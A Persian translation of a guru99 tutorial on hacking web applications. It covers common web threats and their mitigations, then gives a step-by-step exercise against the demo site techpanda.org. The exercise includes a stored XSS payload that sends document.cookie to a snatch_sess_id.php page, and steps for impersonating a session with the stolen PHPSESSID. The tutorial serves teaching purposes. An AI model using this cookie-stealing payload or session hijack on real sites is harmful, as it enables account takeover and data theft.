آموزش عملی نحوه هک وب سایت: هک وب سایت های آنلاین

آموزش عملی نحوه هک وب سایت: هک وب سایت های آنلاین

افراد بیشتری نسبت به گذشته به اینترنت دسترسی دارند. این امر بسیاری از سازمانها را ترغیب کرده است تا برنامه های مبتنی بر وب را توسعه دهند که کاربران می توانند از آنها برای تعامل با سازمان به صورت آنلاین استفاده کنند. برای بدست آوردن دسترسی غیرمجاز به داده های حساس و سرورهای وب ، می توان از کد ضعیف نوشته شده برای برنامه های وب استفاده کرد.

در این آموزش شما یاد می گیرید که چگونه وب سایت ها را هک کنید ، و ما شما را با تکنیک های هک برنامه های کاربردی وب و اقدامات متفاوتی که می توانید برای محافظت در برابر چنین حملاتی اعمال کنید ، آشنا خواهیم کرد.

مباحث ارائه شده در این آموزش

  • برنامه وب چیست؟ تهدیدات وب چیست؟
  • چگونه از وب سایت خود در برابر هک محافظت کنیم؟
  • ترفندهای هک وب سایت: یک وب سایت را به صورت آنلاین هک کنید!

برنامه وب چیست؟ تهدیدات وب چیست؟

 

یک برنامه وب (با نام مستعار وبسایت) برنامه ای است که بر اساس مدل کلاینت-سرور ساخته شده است. سرور دسترسی به پایگاه داده و منطق داد وستد را فراهم می کند.برنامه وب در یک سرور وب میزبانی می شود. برنامه کلاینت در مرورگر وب مشتری اجرا می شود. برنامه های وب معمولاً به زبانهایی مانند Java ، C # و VB.Net ، PHP ، ColdFusion Markup Language و غیره نوشته می شوند. موتورهای پایگاه داده مورد استفاده در برنامه های وب شامل MySQL ، MS SQL Server ، PostgreSQL ، SQLite و … هستند.

 

بیشتر برنامه های وب بر روی سرورهای عمومی که قابل دسترسی از طریق اینترنت هستند، میزبانی می شوند.  به دلیل دسترسی آسان آنها  در برابر حملات آسیب پذیر می شوند. موارد زیر تهدیدهای رایج برنامه های وب هستند.

 

  • SQL Injection – تزریق SQLهدف از این تهدید می تواند دور زدن الگوریتم های ورود به سیستم ، خرابکاری داده ها و غیره باشد.
  • Denial of Service Attacks حملات عدم پذیرش سرویس – هدف این تهدید می تواند عدم دسترسی کاربران قانونی به منابع باشد
  • Cross Site Scripting XSS هدف از این تهدید می تواند تزریق کدی باشد که می تواند در مرورگر سمت کلاینت اجرا شود.
  • Cookie/Session Poisoningکوکی/مسمومیت با جلسه – هدف این تهدید اصلاح داده های کوکی/جلسه توسط یک مهاجم برای دسترسی غیرمجاز است.
  • Form Tampering – دستکاری در فرم – هدف این تهدید اصلاح داده های فرم مانند قیمت در برنامه های تجارت الکترونیکی است تا مهاجم بتواند اقلامی را با قیمت های کمتری دریافت کند.
  • Code Injection – تزریق کد – هدف از این تهدید تزریق کدهایی مانند PHP ، پایتون و غیره است که می تواند در سرور اجرا شود. این کد می تواند درهای پشتی را نصب کند ، اطلاعات حساس را نشان دهد و غیره
  • Defacement– بدشکل کردن- هدف این تهدید اصلاح صفحه نمایش داده شده در یک وب سایت و هدایت کلیه درخواست های صفحه به یک صفحه واحد است که حاوی پیام مهاجم است.

چگونه از وب سایت خود در برابر هک محافظت کنیم؟

 

یک سازمان می تواند برای محافظت از خود در برابر حملات وب سرور ، سیاست زیر را اتخاذ کند.

 

  • SQL Injectionسالم سازی و اعتبارسنجی پارامترهای کاربر قبل از ارسال آنها به پایگاه داده برای پردازش ، می تواند به شما در کاهش احتمال حمله از طریق SQL Injection کمک کند. موتورهای پایگاه داده مانند MS SQL Server ، MySQL و غیره از پارامترها پشتیبانی می کنند و گزاره های آماده شده را ارائه می دهند. آنها بسیار ایمن تر از عبارات SQL سنتی هستند
  • Denial of Service Attacksدرصورتیکه حمله از نوع DoS ساده باشد ، می توان از فایروال ها برای کاهش بازدید توسط آدرس IP مشکوک استفاده کرد. پیکربندی مناسب شبکه ها و سیستم تشخیص نفوذ نیز می تواند به کاهش احتمال موفقیت حمله DoS کمک کند.
  • Cross Site Scripting اعتبارسنجی و پاک سازی هدرها ، پارامترهای منتقل شده از طریق URL ، پارامترهای فرم و مقادیر پنهان می تواند به کاهش حملات XSS کمک کند.
  • کوکی / مسمومیت جلسه – با رمزنگاری محتوای کوکی ها ، به اتمام رسیدن وقت کوکی ها پس از مدتی ، ارتباط کوکی ها با آدرس IP مشتری که برای ایجاد آنها استفاده شده است ، می توان از این امر جلوگیری کرد.
  • Form tempering با اعتبار سنجی و تأیید ورودی کاربر قبل از پردازش ، می توان از این امر جلوگیری کرد.
  • تزریق کد – با در نظر گرفتن تمام پارامترها به عنوان داده به جای کد اجرایی ، می توان از این امر جلوگیری کرد. برای اجرای این امر می توان ازپاکسازی و اعتبار سنجی استفاده کرد.
  • Defacement یک سیاست امنیتی خوب توسعه برنامه وب باید اطمینان حاصل کند که آسیب پذیری های معمول استفاده شده برای دسترسی به وب سرور را درزگیری می کند. این می تواند یک پیکربندی مناسب از سیستم عامل ، نرم افزار وب سرور باشد و هنگام توسعه برنامه های وب در کدها و طراحی برنامه اقدامات امنیتی انجام شود.

 

ترفندهای هک وب سایت: یک وب سایت را به صورت آنلاین هک کنید

 

در این سناریوی عملی هک وب سایت ، ما قصد داریم جلسه کاربر برنامه وب واقع در www.techpanda.org را بدزدیم. ما برای خواندن شناسه جلسه کوکی از اسکریپت نویسی متقابل سایت استفاده خواهیم کرد و سپس از آن برای جعل هویت یک جلسه قانونی کاربر استفاده خواهیم کرد.

فرضیه این است که مهاجم به برنامه وب دسترسی دارد و او می خواهد جلسات سایر کاربران را که از همان برنامه استفاده می کنند برباید. هدف این حمله می تواند دستیابی سطح مدیر به برنامه وب باشد با فرض اینکه که حساب دسترسی مهاجم محدود است.

 

آغاز به کار:

http://www.techpanda.org/را باز کنید

  • برای اهداف عملی ، اکیداً توصیه می شود با استفاده از SQL Injection دسترسی کسب کنید. برای اطلاعات بیشتر در مورد چگونگی انجام این کار به این مقاله مراجعه کنید.
  • ایمیل ورود admin@google.com است ، رمز عبور Password2010 است
  • اگر با موفقیت وارد سیستم شوید ، داشبورد زیر را دریافت خواهید کرد:
    20210321_Article_12_1
  • روی Add New Contact کلیک کنید
  • موارد زیر را به عنوان نام کوچک وارد کنید

<a href=# onclick=\”document.location=\’http://techpanda.org/snatch_sess_id.php?c=\’+escape\(document.cookie\)\;\”>Dark</a>

 

اینجا،

کد فوق از JavaScript استفاده می کند. این یک پیوند با یک رویداد onclick را اضافه می کند. وقتی کاربر بی خبر پیوند را کلیک کند ، این رویداد شناسه کوکی PHP را بازیابی می کند و آن را به همراه شناسه جلسه در URL به صفحه snatch_sess_id.php می فرستد.

20210321_Article_12_2

  • جزئیات باقی مانده را همانطور که در زیر نشان داده شده وارد کنید
  • روی Save Changes کلیک کنید

20210321_Article_12_3

  • داشبورد شما اکنون مانند صفحه زیر خواهد بود:

20210321_Article_12_4

از آنجا که کد اسکریپت cross site در پایگاه داده ذخیره شده است ، هر زمان که کاربران با  حقوق دسترسی وارد سیستم می شوند ، بارگیری می شود.

بیایید فرض کنیم administrator وارد سیستم میشود روی هاپرلینک که عنوانش Dark است، کلیک کند.

مدیر پنجره ای را با شناسه جلسه در URL بدست می آورد.

20210321_Article_12_5

توجه: اسکریپت می تواند مقدار را به برخی از سرورهای از راه دور که PHPSESSID در آن ذخیره شده است ارسال کند و سپس کاربر دوباره به وب سایت هدایت شود انگار که اتفاقی نیفتاده است.

توجه: ممکن است مقداری که دریافت می کنید با آنچه در این مقاله آموزش هک شدن صفحه وب متفاوت است متفاوت باشد اما مفهوم آن یکسان است.

 

جعل هویت جلسه (Session Impersonation) با استفاده از فایرفاکس و افزونه  Tamper Data

 

نمودار  زیر مراحلی را که باید برای تکمیل این تمرین انجام دهید نشان می دهد.

20210321_Article_12_6

  • برای این بخش و افزونه Tamper Data به مرورگر وب فایرفاکس نیاز خواهید داشت
  • فایرفاکس را باز کنید و افزودنی را همانطور که در نمودارهای زیر نشان داده شده نصب کنید

20210321_Article_12_7

 

20210321_Article_12_8

  • برای جستجوی tamper data ، بر روی install کلیک کنید همانطور که در بالا نشان داده شده است.
  • بر روی Accept و نصب کلیک کنید …

20210321_Article_12_9

 

20210321_Article_12_10

20210321_Article_12_11

  • پس از اتمام نصب بر روی Restart کلیک کنید
  • اگر نوار منو در فایرفاکس نشان داده نشده است ، آن را فعال کنید

20210321_Article_12_12

  • بر روی فهرست ابزارها کلیک کرده و Tamper Data را مانند تصویر زیر انتخاب کنید

20210321_Article_12_13

پنجره زیر را دریافت خواهید کرد. توجه: اگر پنجره خالی نیست ، دکمه clear را بزنید

20210321_Article_12_14

  • روی منوی Start Tamper کلیک کنید
  • دوباره به مرورگر وب فایرفاکس برگردید ، http://www.techpanda.org/dashboard.php را تایپ کنید و سپس کلید enter را فشار دهید تا صفحه بارگیری شود
  • پاپ آپ زیر را از Tamper Data دریافت خواهید کرد

20210321_Article_12_15

  • پنجره بازشو دارای سه (۳) گزینه است. گزینه Tamper به شما امکان می دهد قبل از اینکه اطلاعات هدر HTTP به سرور ارسال شود ، اطلاعات را تغییر دهید.
  • روی آن کلیک کنید
  • پنجره زیر را دریافت خواهید کرد.

20210321_Article_12_16

  • شناسه جلسه PHP را که از آدرس حمله کپی کرده اید کپی کرده و پس از علامت مساوی آن را paste کنید.

مقدار شما اکنون باید به این شکل باشد

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

  • بر روی دکمه OK کلیک کنید
  • مجدداً پنجره بازشو Tamper data را دریافت خواهید کرد

20210321_Article_12_17

  • تیک چکباکس که پرسیده “Continue Tampering” را بردارید؟
  • پس از اتمام بر روی دکمه submit کلیک کنید.
  • مطابق شکل زیر باید داشبورد را مشاهده کنید:

20210321_Article_12_18

توجه: ما وارد سیستم نشدیم ، ما با استفاده از مقدار PHPSESSID که با استفاده از برنامه نویسی cross site بازیابی کردیم،  یک جلسه ورود را جعل کردیم.

 

خلاصه

  • یک برنامه وب مبتنی بر مدل سرور-کلاینت است. سمت مشتری (کلاینت)  از مرورگر وب برای دسترسی به منابع موجود در سرور استفاده می کند.
  • برنامه های وب معمولاً از طریق اینترنت قابل دسترسی هستند. این باعث می شود آنها در برابر حملات آسیب پذیر شوند.
  • تهدیدهای برنامه های وب شامل SQL Injection، Code Injection، XSS، Defacement، Cookie poisoning و غیره است.
  • یک سیاست امنیتی خوب در هنگام توسعه برنامه های وب می تواند به امنیت آنها کمک کند.

شناسنامه مطلب:

لینک مطلب: https://www.guru99.com/how-to-hack-website.html

نویسنده:  guru99.com

مترجم: گوگل ترانسلیت

ویراستاری ترجمه: علیرضا صدر ثقةالاسلامی

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *